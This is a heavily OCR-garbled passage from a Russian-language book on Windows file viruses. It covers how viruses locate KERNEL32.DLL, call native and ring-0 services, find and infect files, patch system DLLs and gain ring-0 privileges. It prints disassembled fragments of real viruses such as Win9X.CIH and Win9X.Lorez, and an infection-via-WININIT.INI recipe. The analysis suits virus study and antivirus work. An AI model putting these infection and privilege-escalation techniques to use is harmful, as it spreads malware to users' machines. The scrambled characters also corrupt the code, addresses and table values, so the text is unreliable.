4186ВҒ: Ғ701 г-ог есх
4186С1: 8ВС2 п о у еах,есх
4186СЗ: СЮ010 го1 а  Л ■*. П 0 3 Х . V ! ^
418606: 6688С1 то^ ах, ох
4186С9: 03 гетп

Стандартнии... 
...ПОрОЖДЭЮШИЙ полином

Счетчик обрзботанньх свйтое

Результат

Чтобм разобраться в алгоритме вирусов, действуювдих по по- 
добному принципу, вирусологу необходимо иметь табличку с зара- 
нее рассчитаннмми СКС для имен системнмх сервисов. Например, 
строка 'Ғ1пс1Ғ1Г5(;Ғ11еА' имеет СКС-32, равньга 0С9ЕВО5СЕЬ (или
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0АЕ17ЕВЕҒЬ,еслиучитьтатьзавершаю1дий0);строка’Сгеа1;еҒЛеА'- 
553В5С78Н (или 08С8920ВҒЬ) и т. п.

Есть вирусм, которме используют и другие контрольнне суммм и 
хеш-функции. Например, \Чгш32.Теса1а.1761 рассчитнвает хеш, со- 
стояший из двух первнх букв и арифметической суммн кодов всех 
символов имени функции. Забавно, что в своих электронннх журна- 
лах и на интернет-форумах многие авторм подобннх странннх алго- 
ритмов почему-то именуют их тем же саммм именем «СКС», что на 
самом деле означает «циклический избнточннй код» и ничто иное. 
Видимо, в вирусописатели часто идут обиженнне школьники, схва- 
тившие «пару» по информатике.

43.42. Самостоятелънъш поиск адреса КЕКМЕЬ32.1)ЬЬ
По мере появления новнх версий \Мпс1ош5 вирусн, используюшие 

рассмотренньгй внше «метод предопределенньгх адресов», стано- 
вятся неработоспособньши. По этой причине вирусописатели чагце 
применяют более сложньте методн, позволяюшие обнаруживать 
«КЕКНЕЬ32.0ЬЬ» в памяти, не опираясь на какие-либо заранее пре- 
допределеннне адреса.

В этих методах ключевнм моментом является нахождение любого 
адреса, указшваюшего куда-нибудь внутрь «КЕК.КЕЬ32.ВЬЕ». Пос- 
ле этого, сканируя память в сторону уменьшения адресов, можно по 
смешениям, кратннм ЮОООЬ, рано или поздно обнаружить заветную 
сигнатуру 'М 2' (или какой-нибудь другой признак, характерннй для 
заголовка образа динамической библиотеки).

Вот эти методн.
Во-первнх, загрузчик программ \¥тс 1о\¥ 5  сам пользуется в своей 

работе сервисннми функциями «КЕККЕЪ32.ВЬЬ». Передача управ- 
ления загруженной программе обнчно внполняется из недр функ- 
ции СгеаТеРгосеззА командой САЬЬ. Следовательно, при старте про- 
граммм двойное слово на вершине стека должно указнвать внутрь 
«КЕККЕЬ32.0ЬЬ>.

Вот фрагмент вируса \Уш32.Ног41§а.4938, используюшего эту ме- 
тодику:
406000 880424 ЛЮУ еах,[евр] ; Снять начэльний адрес со стекз
406003 3302 хог еох.есх Обнулить ЕВХ, еключая отаршие битн
406005 48 аес еах Сдвинуться назад
406006 668В503С Л10У й х ,[еах][30] ; Сиевение поля "Ттадеоазе" в заголовке
40600А 66Ғ70200Ғ6 гез* йх.ОҒВОо Ие опткоп  ли велик гдрес?
40600Ғ 75Ғ2 ]пе .00 040 600 3 Велик -  продолжить поиск
406011 30441034 еах, [еах][ес)х1( 34] ; Это поле "1тадеВазе" 7
406015 75ЕС ]пе 0004061)03 ; Продолжить лоиск
406011 ; Адрес найден и находится в ЕАХ
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Второй метод заключается в использовании цепочки структурнмх 
обработчиков исюпочений (мм подробно рассматривали это понятие 
в начале главм), первнй элемент которой доступен по адресу Ғ3:[0]. 
Последний же элемент для большинства версий ОДпйолуз «обитает» 
где-то внутри «КЕК^ЕЬ32.БЬЬ». Следовательно, ссьшка на него, 
расположенная в предпоследнем обработчике структурннх исключе- 
ний, и есть искомьш адрес.

Третий метод -  разбор системной стр\т<турн Т1В/ТЕВ/РЕВ. Дело 
в том, что неоднократно упоминавшийся внше адрес Ғ5:[0] -  это на 
самом деле вход в большую и сложно организованную структуру дан- 
ннх, заполненную разнообразной служебной информацией, а упомя- 
нутая внше цепочка структурннх обработчиков исключений просто 
«начинается» именно там. Формат этой структурн слабо документи- 
рован и неодинаков в разннх версиях \У5п(1оте. Из вируса в вирус 
кочует один и тот же, легко опознаваемьта даже «невооруженньш гла- 
зом», очень характерньш фрагмент машинного кода, используювдий 
эту методику:

хог еах, еах
асШ еах, ^з:[еах+ЗОИ]
.1 з иетп ой_9х

гяетпос!_пт:
шсу еах, [еах + СсИ]
тоу ез1. Геах + 1сМ]
1о0зй
иоу еах, Геах + 08М]
] ! г р  К 32 _рТг_+ оипс1  

ш е тпо с)_9 х :

шсу еах, [еах + 34И]
1еа еах, [еах + 7с1)]
ш о у  еах, [еах + Зс11]

к 3 2 _ о : "  ' ои^О:  . . .

Методика приобрела популярность уже в XXI веке, она позволяет 
находить не только адрес «КЕШ\ГЕЕ32.0Е1>, но и других загружен- 
ннх в память библиотек, и используется преимушественно в сетевнх 
и почтовнх червях.

Наконец, упомянем использование вирусом функций, уже им- 
портированних заражаемой программой. Нельзя не признать, что 
все рассмотреннне внше методики доступа вирусов к системннм 
сервисам основнваются на недокументированннх особенностях, и 
методики эти стремительно устаревают. Действительно, последний 
в цепочке структурннй обработчик исключений и процедура пере- 
дачи управления загруженной программе в последних сервиспаках 
\Л71пс1о\¥8 ХР и  2003 уже мигрировали в библиотеку «НТГЗЕЬ.ОЕЕ»,
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да и факт постоянства положения библиотеки «КЕККЕЬ32.0ЬЬ» 
в памяти тоже дьпиит на ладан. По крайней мере, в ХУшсЬм/з \ 7]5(:а/ 7  

введен механизм А8 ЕК., которьш принудительно тасует адреса загру- 
жаеммх системннх библиотек.

Но есть более «ортодоксальньга» способ поиска. Он основан на 
том, то любая «нормальная» программа использует хотя бм один 
системньга сервис из библиотеки «КЕКНЕЕ32.БЕЕ» (обмчно этим 
сервисом является функция «Ех11Ргосез5»). Значит, после загр}гзки 
в память вместе с зараженной программой вирус может изучить ее 
таблицу импорта и найти в ней хотя бм один адрес, ведуицш внутрь 
«КЕККЕ132.0ЬЕ», ну а дальше поступать, как нами бмло рассмотре- 
но вьпие. Впрочем, есть некоторме вирусн, которме настолько «лени- 
вм», что сразу пнтаются найти в таблице импорта зараженной про- 
граммн нужнме им функции, например «СеЬРгосА(Мге55», которая 
используется, по крайней мере, половиной стандартннх системннх 
утилит \У шс1о\у5. Если нужньтх функций нет, такие вирусн просто 
отказнваются от заражения программн. Их антагонистм -  сложнне 
вирусм, например \У|п32.5соге.3072, которме самостоятельно вн- 
полняют работу программн-компоновхдика и добавляют в таблицу 
импорта отсутствуютие функции. Интереснне «полумерн» пред- 
лагает автор вируса \Ут32.1<1е1с.2108, которьга в случае отсутствия 
нужннх функций смело видоизменяет в таблицах импорта одно из 
имен, так что при запуске программн загрузчик будет иметь в виду 
именно «исправленное» имя.

43.4.3. Использование «нестандартньис» сервисов
В разделе, посвявденном обшей характеристике методов обрашения 

к системньш сервисам, бмло продемонстрировано, что каждое такое 
обравдение приводит к активации длинной цепочки внзовов, посн- 
лаемнх из одной внутренней подсистемм \Ушс1о\у5 в другую. Причем 
каждая такая подсистема обьгано представляет собой четко локализо- 
ванннй набор процедур и функций, имеювдих свои интерфейсн ви- 
зова и оформленннх в виде динамических библиотек или драйверов. 
Конечно, все это -  внутренняя «кухня» разработчиков, которая очень 
слабо документирована. а конкретнне сведения о ее устройстве -  ре- 
зультат либо долгих хакерских «ковнряний», либо информационной 
утечки из М1сго5о1г. Тем не менее в вирусахэти «нестандартнне» си- 
стемнне сервисн используются, и с определенннм успехом.

Конечно, если говорить о «нестандартнмх» сервисах, то прежде 
всего стоит упомянуть широко известнмй факт: в \У1П<1о\\'5 N'1' про-



Вирусь!для32-разряднь1Хверсий\Л/1пс1оуу5 ❖ 2Б1

граммньш код, непосредственно реализуюгций многие системние сер- 
висм, располагается в библиотеке «КТБЬЬ.ОЬЬ», а «стандартнме» 
функции из «КЕЮчтЕЬ32.0ЬЬ» представляют собой лишь «переход- 
ники» к этому коду. Почему бн не внзмвать функции из «МТОЬЕ. 
ОЬЕ» напрямую? Сказано -  сделано! Кем? Автором вируса \У1п32. 
СЬ<:Ьоп, опубликовавшим свою разработку в электронном журнале 
«29А». Ниже приводится фрагмент этого вируса, отвечаювдий за от- 
крмтие файла. Вирус предварительно нашел в памяти библиотеку 
«КТБЬЬ.ОЬЬ» («методом Т1В/ТЕВ/РЕВ»), определил внутри нее 
адрес функции «№:ОрепҒ11е»/»2 \ЮрепҒ11е» (описание ее парамет- 
ров можно найти в НТ 0 0 К) и теперь внзнвает ее следуюшим об-
разом:
ризп 000004021 ; Опции открмтия
рцзп 003 : Параметрн разделения доступа
ризп езр , 'Указатель на блок информэции о результате
ризп еах ; 'Указатель на блок атрибутов, включаюших имя
ризп 000100001 ; Маска доступа к файлу
1еа еах,[ез1] [04] . Адрес области под указатель ..
ризп еах , . .откритого файла
са11 [еох][20] , Вьзов сервиса по известному адресу

Но ведь немалая часть системннх действий в \¥ 1пс1о\¥ 5  НТ внпол- 
няется даже не в библиотеке «МТОЬЕ.ОЕЕ», а в компонентах 0-го 
кольца зашитм, к котормм доступ осугцествляется через исключение 
«1МТ 2ЕЬ». Нельзя ли использовать и эту возможность? -«Стоит по- 
пробовать!» -  решили вирусописатели. Прежде всего они обратили 
свой взор внутрь «КТОЬЬ.ОЬЕ», чтобм определить, какая часть наи- 
более «популярннх» сервиснмх функций реализована внутри нее, 
а какая -  в компонентах 0-го кольцн зашитн. Оказалось, что почти 
для всех функций «КТОЬЕ.ОЕЬ», имена котормх начинаются с «N1 » 
или «2 \*'», библиотечннй код -  тоже всего лишь «переходник», при- 
чем очень и очень незатейливьга. Судите сами, вот как внглядит код 
функции «Ж 0 репҒ11е»:
77Ғ67В4С' В84Ғ000000 «оу езх,00000004Ғ ; Номер ♦ункции
77Ғ67В5I 
77Ғ67В55 
77Ғ67В57

80542404 1еа ейх,[ езр][04] ; Адрео блока параметров в стеке
С02Е 1 пт 02Е ; Лереход в 0-е кольцо
С21800 гетп 00018 ; Возврат с очисткой стека

Таким образом, блок параметров, полученннх функцией 
«МсОрепҒЛе», без каких-либо изменений передается в ядро \Утс1о\\'8 
КГГ. Единственное, что делает «НТОЕЕ.ОЕЬ», -  это помевдает в ре- 
гистр ЕАХ номер внзнваемой функции, чтобн обработчик ШТ 2ЕЬ
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разобрался, что ему делать с параметрами, расположенннми в стеке 
(кстати, адрес этого блока дублируется в ЕОХ). Эти номера изменя- 
ются от версии к версии операционной системм (см. табл. 4.9).

■ Таблица 4 .9 . Некоторие номера систем них сервисов в ядре 
№п(А»ю
Наименование Н омер  

в N 1 4 .0
Номер  
в 2000 Н омер в Х Р Н омер в № 1а

МЮ1озе ОҒП 18Н 25 48
МГСгеа{еҒИе 17П 20И 27 60
МЮрепҒНе 4ҒЬ 64*1 116 186
МШеайҒНе 86П 0А1И 183 258
МЙЛ/гг1еҒПе 0С8П ОЕОИ 274 359

Примерм вирусов, самостоятельно обравдаклцихся к системньш 
сервисам \Утс1о\У8 КТТ через «ШТ 2ЕЬ>: \¥т32.Ке4ап и \УшМПГ.̂ а<;ег.

Имеется возможность использовать «нестандартнме» сервисн и 
в \Утс1о\У5 9Х. Любое приложение 0-го кольца завдитн способно об- 
равдаться к системнмм драйверам, используя механизм прернвания 
«ШТ 20Ь». Естественно, оно должно либо само являться драйвером, 
либо получить привилегии 0-го кольца зашитн при помохци какого- 
нибудь из известньхх хакерских «трюков». Речь об этих «трюках» 
пойдет дальше, здесь же рассмотр^ш методн обрашения к системньш 
сервисам в предположении, что приложение (а конкретно -  вирус) 
уже тем или иннм способом проникло в «нуль».

В \¥т9Х  предусмотрено обрашение к системннм драйверам при 
помо1ДИ перехвата исключения, возникаювдего вследствие вьхзова 
прернвания 20Ь. Формат этого обрашения сильно зависит от самого 
драйвера. В обвдем случае параметрн драйверу (и назад) передаются 
и в стеке, и в регистрах. Собственно обрашение к драйверу внглядит 
следуюшим образом:
1п1 2011 ; Визов преривания
йм ? ; Код виполняемой операции
б* ? ; Идентификатор драйвера

Таким образом, для подобного обрашения необходимо:
О загрузить в регистрн и в стек необходимне значения;
О  указать идентификатор конкретного драйвера (например, 

0001 -  менеджер виртуальннх машин УММ, 10 -  драйвер 
блочного запоминаювдего устройства, 40 -  драйвер менеджера 
инсталлируемой файловой системн 1Ғ8М§г и прочее);
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' О  определить код операции, которую этот драйвер должен вм- 
полнить (например, для менеджера виртуальннх машин 0000 -  
получить номер версии менеджера, 0053Ь -  распределить стра- 
ницу виртуальной памяти).

Для облегчения труда программистов, занимаюшихся разработ- 
кой драйверов \У1пс1о\У5, фирма Мхсгозоб; определила во включаеммх 
файлах БГ)К две макродирективн -  «УхОСаП» и «УММСаП», ко- 
торме «разворачиваются» в вмшеприведенньш код. Но справочнне 
даннне по идентификаторам драйверов, кодам операции и по пара- 
метрам вмзова -  святая святнх фирмн М1СГ080Й. Кое-что можно най- 
ти в ОБК и М50К, но основной источник информации -  результатн 
хакерских исследований.

Метод обрашения к глубинньш сервисам \У тс1от вошел в моду 
после глобальной эпидемии вируса \Ут9Х.С1Н. Получив привиле- 
гии 0-го кольца загцитм и напрямую программируя различнне драй- 
верн, этот вирус не только вмполнял сам файловме операции, но и 
перехватнвал обрашения от прикладннх программ к файловой си- 
стеме, распределял виртуальную память под свои нуждм, писал му- 
сор в сектора винчестера и даже портил Ғ1азЬ-ВЮ5. Вот как он, на- 
пример, открнвал файлн:
; Поедполагзется, что в ез! -  здрес имени файла
0390: СВ20 1Г)1 20Г| . Обрашение к драйверу
0392: 3200 йм 0032(1 ; Обций код для ореп/геаа/ип1:е/с1озе
0394: 4000 Ои 0040П ; Код 1Ғ5Мдг

0390: 8ВВЕ52Ғ0ҒҒҒҒ ШОУ 601,[6 5 1 +390(1] ; Поместить в ей1 . ..
ОЗАЗ: 8ВЗҒ ШОУ ео1,[ей1 ] . . . .  адрес командн т х  20(1

03В2: ЗЗСО хог еах,еах
03В4: В405 тоу ап,005 . Открить/создать файл
03В6: ЗЗС9 хог есх,еох ; 0 -  значит "досгуп без ограничений"
03В8: ЗЗС2 х о г еох.ейх
03ВА: 42 1ПС ейх ; 1 -  значит, это команда "открмть"
ОЗВВ: 8В0А тоу еох.ейх
ОЗВО: 43 1 лс еох ; 2 -  это "открнть на чтение и запись
03ВЕ: ҒҒ07 са11 ей1 : Обратиться к оервису
03С0: 93 ХО10 еох,еах ; Сохранить хэндл открьтого файла

Вн обратили внимание, что набор параметров, которнм сервис- 
ная процедура обменивается с программой через регистрн, соответ- 
ствует функции 716СЬ -  «Ех1епс1ес1 Сгеа1е/Ореп ҒПе», появившейся 
в М 5-005  7.Х и способной работать с длинннми именами файлов? 
Так и должно бнть, ведь оба этих системннх внзова в конечном итоге 
обрахцаются к одному и тому же программному коду!
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4.3.5. Нерезидентнме вирусь)
В 32-битовнх версиях \¥тс1о\У8 в о з м о ж н о с т ь  поиска файлов и 
каталогов реализуется посредством функций «ҒтсШгесҒПе» и 
«ҒтйКех^ҒПе», живутих в библиотеке «КЕККЕЬ32.0ЬЬ». Резуль- 
тат их работн возвравдается в рабочей области размером 313 байтов, 
имеювдей следуювдую структуру;
й«ҒЦеА1:1:г1Ьи1;ез
« С ге а П о п Ш е
'ИазгАооеззИше
гИазШгШПяе
пҒИе512еН1д(1
пҒПе512е1ои
амЯезегуейС
йшЧезегуесП
сҒНеМалче
оАиегпашғПеМате

йир(?)
йир(?)
йир(?)

сЮ ?
66 2 
йб 2
а д  2
йс! ? 
ас) ? 
йй ?
00 ?
аь 255 йир 
ОЬ 14 аир

Атрибути файла 
Время/дата создания файпа 
Время/дата пооледнего доступа к файлу 
Время/дата последнего обновления файла 
Старшие 4 байта длинн файла 
Младшие 4 байта длина файл.з

"Длинное" имя файла
"Короткое" имя файла в формате "8.

Вот пример кода примитивного вируса Шш9Х.1дк1.НШ.401, де- 
монстрируювдий технологии поиска «жертв» в текувдем каталоге;
004011В4 1еа еах, [еЬр+ЮЬ] ; Адр-ес рабочей области
004011В7 ризИ еах
00401188 1еа еах, с)«ога_40132А[еа1] : Адрес маски '* .ЕХЕ'
004011БЕ ри5(1 еах
004011ВҒ саП бю гй  р1г Й5: 1ос_40130Е[ес)11 . Обрашение к Ғ1паҒхгзтҒх1еА
0040ПС5 ГЛОУ [еЬр+0], еах
00401108 сшр еах, -1 ; Ошибка’
004011СВ .12 вГюгГ 1ос_4011Е4 ; Закончить работу вируса
00401100 1ос_401 1С0:
00401100 са 11 ЗиЬ_4011Ғ0 ; Внэов процедурм эаражения
00401102 1еа еах, [еЬр+Ю(1] , Адрес рабомей области
00401105 ризЬ еах
00401106 ВОУ еах, [еЬр]
00401109 ризп еах ; Хэндл поиска
0040110А са 11 йиога р1г аз:1ос_401312[еа1] ; Обрацение к Ғ1паНехгҒ11еА
004011Е0 ог еах, еах
004011Е2 )П2 зЬ оп  1ос_4011С0 ; Процедура заражения
004011Е4 1 ос_ 4011Е 4: ; Воэвоат управления "жертве"

00401ЗОЕ сМ 0ВҒҒ77893П : Адрес Ғ тй Ғ !гз Ғ П е А  в йпйокз 95
00401312 аа 0ВҒҒ778СВГ! Адрес ҒгпаМехСҒ! 1еА в йпаошз 95

004С132А йо ’ Е Х Е ', С

Кстати, этими технологиями обязан владеть не только вирусописа- 
тель, но и автор 32-битового антивирусного сканера!

Нерезидентннх вирусов, заражаювдих РЕ-файлн, довольно много. 
Как и в случае с вирусами для М З-005, большую часть их состав-
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ляют «студенческие»- разработки, то есть первне и единственнне в 
жизни авторов вирусн, написаннне ими для «самоутверждения», и 
больше ни для чего. Как правило, они гацут дели для заражения в те- 
кутцем каталоге, и вероятность их распространения за пределн этого 
каталога (а тем более с машинн на машину) близка к нулю.

Но также среди нерезидентннх вирусов велик процент весьма слож- 
ннх программннх конструкций, осутцествляюших поиск -«жертв» 
рекурсивннм поиском по диску. В отличие от своих М З-005-«со- 
братьев», они в процессе сканирования диска почти не затормажива- 
ют работу системн в целом, так как в условиях внтесняювдей много- 
задачности управление регулярно переходит от одного программного 
потока к другому через короткий временной квант. В этой ситуации и 
мьпиь «бегает», и клавиши -«нажимаются». Кстати, а вн знаете, сколь- 
ко времени }тсодит на полное сканирование антивирусом многогига- 
байтного диска? Десятки минут и часн! Вирус, конечно, себе такое 
позволить не может. Он или организовнвает себя в виде отдельного 
потока (этот прием будет рассмотрен позже), или ограничивается 
сканированием лишь части дерева каталогов. В частности, авторами 
«ЗеагсЬ»-вирусов нередко применяется «метод предопределенного 
местоположения жертв*-, в соответствии с которьш поиск и заражение 
вьшолняются не по всему диску, а только в каталогах «С:\\¥ 1ш1о\У5» 
и «С:у\У1>ШТ», где по умолчанию расположено множество стандарт- 
ннх системннх утилит. Таким образом, подобнне вирусн сразу пи- 
шутся с прицелом на «расползание» по машине. Интересно, зачем, 
ведь системнне утилитн практически никогда с одной машини на 
другую не копируются?

4.3.6. «Резиденть»» 3-го кольца заицитм
Строго говоря, терминн чрезидентньш» и 4транзиентньш» («нерези- 
дентннй») прием.чемн только тогда, когда речь идет об однозадачннх 
операционннх системах. Тем не менее при рассмотрении компьютер- 
ннх вирусов, распространенннх в многозадачннх операционннх си- 
стемах, этими терминами по-прежнему удобно пользоваться.

чРезидентной» в многозадачной среде легко может стать любая 
запушенная, а после этого зацикленная программа, в том числе и ви- 
русная. Проблемн «застревания» программн в памяти и регулярного 
получения ей управления при этом решаются автоматически. Вирусу 
необходимо только иметь возможность каким-либо образом обнару- 
живать цели для заражения. Рассмотрим несколько типовнх схем, 
используемьтх для этого авторами вирусов.



26Б ❖ Файловье вирусь! в \ЛЛпс1о\лй

4.3.6.1. Вирусм -  автономние'процесш
Провде всего не изобретать новмх велосипедов с квадратнмми коле- 

сами, а воспользоваться хорошо известнмми средствами, применяе- 
мь1ми в нерезидентннх вирусах, а именно функциями «ҒхпёҒЧгзгҒИе» 
и «ҒтсМехШ к». Например, знаменитмй вирус \¥т32.Ғип1оуе.4070, 
стартовав из зараженной программн, ничтоже сумняшеся внгружает 
себя на диск в виде программного файла «ҒСШЪ.ЕХЕ» и запускает 
его на исполнение. Вирусньш код, содержавдийся в этом файле, про- 
веряет, получил ли он управление как часть зараженной программн 
или как самостоятельное приложение, и во втором случае просто ви- 
сит в памяти и в бесконечном цикле при помовди функций поиска 
рекурсивно сканирует весь диск. Простенько и со вкусом, не так ли?

4.3.62. -*Полурезидентнъ1е*- вируси
Вирус этого типа при помовди сервиса -«Сгеа<;еТЬгеа(1» регистри- 

рует процедуру сканирования диска как отдельннй внчислительннй 
поток, работаювдий параллельно с потоками зараженной программн. 
Разумеется, этот зловредннй поток «жив» ровно столько времени, 
сколько работает зараженная программа, и завершает свою работу 
вместе с ней. Однако представьте себе, что подобнь1Й вирус стартовал 
из зараженной программн «\У1К\УОЬШ.ЕХЕ», которую в типичном 
случае пользователь запускает в начале рабочего дня и завершает 
только вечером. Эксперимента показнвают, что уже через 5 минут 
«заболевают» многие десятки профаммннх файлов на диске, а при- 
мерно через час мавдина оказнвается завирусованной полностью! 
Саморазмножаювдихся программ, используювдих подобную техно- 
логию, било написано немало (например, \У1п32.К.атяоп§.3891, 
\Пп32.Ке8иг, \У1п32.%п§а.2384, \Ут32.5аупоЬ.2406 и прочие). 
Они в неофициальной вирусной таксономии даже образовали от- 
дельннй класс «полурезидентньис» вирусов.

43.6.3. Вируси, заражаюгцие стандартние 
компоненти Мгпйош
Евде один довольно распространеннмй подход заключается в том, 

что заражается какая-нибудь стандартная динамическая библиотека 
(например, «КЕККЕЬ32.Е)1Х») или служебное приложение (напри- 
мер, «ЕХРЮКЕК.ЕХЕ»), являювдиеся частью операционной систе- 
мн. Так поступают \\Тп9Х.Ьогег.1766.а, \Ут9Х.¥ит.1167, \¥т9Х . 
Б<к1о.1022, \¥т32.Вее{\2110 и прочие. Вот, например, что вьггворя- 
ет Шп9Х.Ьогег.1766.а с динамической библиотекой «КЕККЕЕ32.
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БЬЬ». Сначала он копирует библиотеку из «С:\\Утс1о\У5\ 5 У5 ТЕМ» 
в «С:\\Утс1о\У5» и все дальнейшие операции производит с копией. 
Затем он ставит в поле «Ро1п£егТо5 утЬо 1ТаЬ1е» РЕ-заголовка уни- 
кальную метку, чтобн в дальнейшем отличать зараженнне библио- 
теки от «здоровнх». Бслед за этим вирус расширяет секцию «.гзгс> 
на 4096 байтов (не забнв скорректировать поле «512еО£1та§е» в РЕ- 
заголовке и поля «У]г1 иа18 12е» и «312еОШа\уОаЬа» в таблице сек- 
ций), заодно изменив битовне флаги доступа к ней с 40000040Ь на 
Е0000040Ь. Потом вирус вписнвает себя в образовавшееся пустое 
пространство и изменяет в таблице экспорта библиотеки сснлку на 
функцию «СегҒЛеАггпЬиСезА» так, чтобн она указьгвала на вирус- 
ннй код. Смотрите, вот сюда сснлается таблица экспорта в «здоро- 
вой» библиотеке, входяшей в состав \¥ 1пс1о\У8 95:
; Нз^ало функции "Ое^ ҒПеАигШ тезА"
ЗҒҒ7786С 57 ризп еах
ВҒҒ77860 6А21 ризп 021
8ҒҒ7786Ғ 2ВС‘2 зиЬ еСх.есх

А в зараженной копии библиотеки эта же сснлка ведет совсем в 
другое место:

ВҒҒЭ7979 ос ВҒҒ7786С

; Начзло вирусного кода М1П9Х.1огег. 1766.а
ВҒҒ07Ғ20 9С ризЬИ
ВҒҒВ7Ғ2Е 50 ризИ еах
ВҒҒ07Ғ2Ғ 53 ризЬ еЬх
ВҒҒ07Ғ30 51 ризГ| есх
8ҒҒ07Ғ31 52 ризМ ейх
ВҒҒ07Ғ32 57 ризИ ес11
ВҒҒ07ҒЗЗ 56 ризМ ез1
ВҒҒ07Ғ34 55 005(1 еЬр
ВҒҒ07Ғ35 Е800000000 оаП .0ВҒҒ07ҒЗА
ЗҒҒ07ҒЗА 50 рор еЬр
ВҒҒ07Ғ38 81Е042154000 зиЬ еЬр,000401542

ВҒҒ07Ғ68 50 рор еЬр
ВҒҒ07Ғ6С 5Е рор ез1
ВҒҒ07Ғ60 5Ғ рор ей1
ВҒҒ07Ғ6Е 5А рор ебх
ВҒҒ07Ғ6Ғ 59 рор есх
ВҒҒ07Ғ70 53 рор еЬх
ВҒҒ07Ғ71 58 рор еах
ВҒҒ07Ғ72 90 рор^с
ВҒҒ07Ғ73 ҒҒ257979Ғ0ВҒ ]шр [0ВҒҒ07979]
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Обратите внимание 'на первше командн вйруса (определение 
«дельта-смевдения») и на последнюю команду вирусного фрагмента 
(возврат управления «куда положено»), Классика, не правда ли?

Вот и все, осталось дождаться перезагрузки, и \Утс1о\у$ поместит 
зараженную копию библиотеки в адреснне пространства всех про- 
цессов. Соответственно, вирус начнет перехватнвать обравдения к 
программннм файлам и заражать их по мере своего желания и своих 
возможностей.

Вообше, головная боль для вирусов подобного типа -  как моди- 
фицировать файл «КЕШЧЕЬ32.БИ>, ведь \У1пс1о\у5 любой версии 
зашивдает файлн исполняемнх программ и загруженннх библио- 
тек от записи (но не от копирования). Один из способов решения 
проблемн уже продемонстрирован внше на примере вируса \¥1п9Х. 
Ьогег.1766.а, другой (пригодннй только для \¥ тс 1о\У5 9Х) состоит 
в том, чтоби, создав и модифицировав копию, разместить в катало- 
ге «С :\\¥тс 1о\У5»- специальньга конфигурационннй файл «\УШШ1Т. 
Ш1 » примерно вот с таким содержимнм:
[йепагае]
НЦЬ=С: \М1 пао»5\5УЗТЕМ\КЕҒМЕ1.32. ОИ
С: \М1ПЙ0«з\ЗУ5ГЕИ\КЕ(1НЕ132. С1_1_=С: \М1пс1о«5\5У5ТЕН\КЕЯМЕ132. У1Н

Во время загрузки операционной системн будут вьшолненн ука- 
заннне в файле -шерестановки», после чего «\¥ШШ1Т.Ш1» с про- 
тивньм хихиканьем самоуничтожится. Вн, наверное, подумали, что 
этот механизм специально включен в \У1пс1о\у5 для облегчения жизни 
вирусописателям? Нет, он адресован авторам инсталляционннх про- 
грамм.

43.6.4. Вируси, анализируюцие список процессов
Не очень часто используемая, но очень любопнтная технология по- 

иска вирусами жертв заключается в том, чтобн, оставшись в памяти 
одним из рассмотренних внше способов, один раз запомнить, а потом 
регулярно сканировать список виполняювдихся в системе процессов 
(как это делается, будет рассмотрено ниже). В этом списке присут- 
ствуют имена файлов, из которнх стартовали процессн. Если один 
из процессов исчезает из списка, то это значит, что он завершился, и 
соответствуювдий файл можно заражать. Так поступают, например, 
вируси \У т9Х .¥аЬ гап .3132  и \У1п9Х.Теса4а.1761.

Более продвинутая «технология» заключается в том, чтобн, полу- 
чив список внполняювдихся процессов, внедряться в их адресное про- 
странство, перехватьшая обравдения к операционной системе. Подоб-
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ньш образом, например, ведут себя многочисленнме разновидности 
вируса \Ут32.У1ги4, получившего распространение в конце первого 
десятилетия XXI века. Они при помоши «Сгеа4еТоо1Ье1р325парзЬо1;» 
делают «снимок» списка процессов в памяти, открмвают их при по- 
моши «ОрепРгосезз», запускают внутри них вируснне потоки при по- 
моши « СгеаСе КешоСеТЬгеас!», перехватмвают в «МТВЬЬ.ОЬЬ» функ- 
ции «МЮгеаГеҒПе» и «МСгеаСеРгосезз» и заражают практически все 
программн, к которнм происходит обрашение в сеансе работн.

4.3.7. «Резиденть!» 0-го кольца зашити
Вообше говоря, для пользовательской программн в \Утс1ош8 есть 
только один легальньга способ проникнуть в 0-е кольцо завдитн -  не- 
обходимо бнть системньш драйвером. Тем не менее в \У1пс1о\ \г5 9Х (но 
не в \¥тс 1о\\'5  МТ!) сувдествуют обходнме П)гги, позволяюшие любому 
приложению 3-го кольца получить «волшебнне привилегии»1. Таким 
образом, практически все, о чем будет идти речь в этом разделе, от- 
носится лишь к \¥т<1 о\\'5  9Х.

4.3.7.1. Переход в 0-е кольцо зацити методом 
создания собственньис шлюзов
У этого метода множество модификаций, но далеко не все они 

встречаются в вирусах. Рассмотрим метод на примере действий, пред- 
принимаемьк для перехода в 0-е кольцо завдитн вирусом \¥ш9Х. 
УаЬгап.3132. Первнм делом вирус читает текушее содержимое ре- 
гистра СБТК:
8д<Л [еЬ р + 0 0 0 4 0 2 1 2 Е ] ; В н гр уэка  в память р е ги с тр а  ВОТВ

Вирус обрашается к первому попавшемуся дескриптору в СВТ, со- 
храняет его старое значение и модифицирует таким образом, чтобн 
получился шлюз.
, В ЕАХ -  адре с планируемой то ч к и  перехода 

ризИ еах

шоу е а х , [еЬ р + 0 0 0 4 0 2 1 3 0 ] ; Адрео СОТ

ас^  е а х ,008 ; Смецение п е р во го  попавш егося

; д еокриптора

1 На самом деле в \Утс1о\¥5 КТ такие «дмрн» тоже иногда встречаются, но 
они базируются не на стабильнмх архитектурнмх особенностях операци- 
онной системн, а на временно сушествуюших ошибках программистов 
фирми МюговоЛ.
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; Фрагмент оохранения деокриптора (пропутено) 

; Преобразование деокриптора в шлюз
шоу Вх,[еЬр+00040211А]
тоу [еах+02],Ьх ; Селектор
!Л0У т г й  ргг [еах+04], ОЕСОО.п ; Атрибутн
рор есх ; Адрес точки перехода
Л!0У Рх, сх
зИг есх.ОЮ
шо̂ [еах],Ьх
ИОУ [еах+06],сх
тоу й«огй ргг [еЬр+000402134],еЬх ; Младшая часть адреса
Л10У •змогб р1:г [ еЬр+000402138], есх ; Старшая часть адреса

Наконец, вирус вмполняет дальний переход по получившемуся 
шлюзу при помоши обмчной командн «САЬЬ».
С И
са11 Т«ог<1 ртг [еРр+000402134]

В результате управление получает фрагмент того же вируса, толь- 
ко привилегии у этого кода уже соответствуют О-му кольцу. Кстати, 
в \¥ тс 1о\У8 МТ этот вирус натолкнется на невозможность модифика- 
ции дескрипторов.

43.72. Переход в 0-е кольцо загцити подменой 
обработчика исключений
Этот метод стал очень популярньш среди вирусописателей после 

мировой эпидемии вируса \Уш9Х.С1Н в 1998-1999 гг. Он бнл прак- 
тически байт в байт воспроизведен во многих десятках (а может бнть, 
и сотнях!) вирусов, написанннх «по образу и подобию» его. Не будем 
далеко ходить, а изучим начальнне фрагментн «оригинала»:
ризм еЬр
